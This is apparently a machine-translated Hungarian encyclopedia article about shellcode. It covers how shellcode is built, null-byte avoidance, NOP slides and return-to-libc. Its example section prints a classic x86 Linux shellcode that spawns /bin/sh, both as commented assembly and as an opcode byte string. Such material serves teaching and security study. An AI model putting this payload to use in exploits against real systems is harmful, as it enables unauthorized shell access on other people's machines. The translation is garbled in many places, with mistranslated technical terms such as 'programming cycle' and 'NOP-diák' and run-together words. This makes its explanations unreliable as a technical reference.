Shellcode
Shellcode egy programozási ciklus , és ismertet egy többnyire nagyon kis folt a szerelő utasításait alakítjuk át utasításból , amellyel a szándék az, hogy manipulálják a program vagy rendszer, illetve felhasználják célokra nem alkalmas. Gyakran próbál héjat indítani, innen a név. A héjkódok puffertúlcsordulásból és más kódinjekciós támadásokból erednek , de felhasználhatók szoftverekben , különösen penetrációs tesztekben , kísérletekben és didaktikában is.
Héjkódok létrehozása
A generál shell kódot, a végrehajtandó parancsot lehet írva a C és lefordított egy fordító . A létrehozott programot most szétszerelik (újra lefordítják), és a program funkcionalitását átprogramozzák az összeállítási nyelvre. Sok utasítás azonban elhagyható vagy rövidíthető. Sok kihasználás esetén a shell kód nem tartalmazhat 0 bájtot, mert ez jelöli a sztring végét C-ben. Általában más akadályokat el kell kerülni, például csak betűk és számok megengedettek, vagy nagy- és kisbetűk megváltoztathatók, vagy bizonyos eltolásokhoz kell ragaszkodni, ami például a nulla művelet többé-kevésbé kreatív láncolatának kitöltésével (úgynevezett NOP-diák ) érhető el . lehet.
Ahelyett, hogy saját kódot futtatna, ami nem mindig lehetséges (például memóriavédelem használata esetén ), közvetlenül a kívánt funkciókra is ugorhat, amelyek például a programban vagy egy betöltött könyvtárban , például a libc-ben elérhetők. Ezt az eljárást visszatérésnek hívják libc-be .
példa
Helyi végrehajtási (/ bin / sh) héjkód
Az assembler kód (x86 architektúra):
void main() {
__asm__("
jmp 0x2a # 3 bytes - springt direkt vor den String
popl %esi # 1 byte - Adresse des Strings wird in esi geladen
movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben
movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert
movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment
movl $0xb,%eax # 5 bytes - syscall-nummer in eax
movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh"
leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer
leal 0xc(%esi),%edx # 3 bytes - environment
int $0x80 # 2 bytes - interrupt wird ausgelöst
movl $0x1, %eax # 5 bytes - exit-interrupt
movl $0x0, %ebx # 5 bytes - wird vorbereitet
int $0x80 # 2 bytes - interrupt wird ausgelöst
call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht
.string \"/bin/sh\" # 8 bytes
");
}
Az opcode karakterlánc:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
Ez a kód azonban nem túl okos, mert null bájtokat tartalmaz és meglehetősen hosszú. A „nem kívánt karakterek” elkerülése érdekében gyakran használnak kódolókat, amelyek lehetővé teszik e karakterek maszkolását és későbbi leleplezését, és esetleg tömörítik a shell kódot is. A karakterlánc címének megismerésére más módszerek is léteznek, mint a "jmp" vagy a "call". Például lehetséges, hogy csak /bin/shnyomja a verem. Ezután az esp tartalmazza a címet.
irodalom
- Jack Koziol: A Shellcoder kézikönyve. Biztonsági lyukak felfedezése és kihasználása. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3 .
- Jon Erickson: Tiltott kód. mitp, Bonn 2004, ISBN 3-8266-1457-7 .
web Linkek
Egyéni bizonyíték
- ↑ Forrás: phrack.org ( Memento , 2008. február 11-től az Internet Archívumban )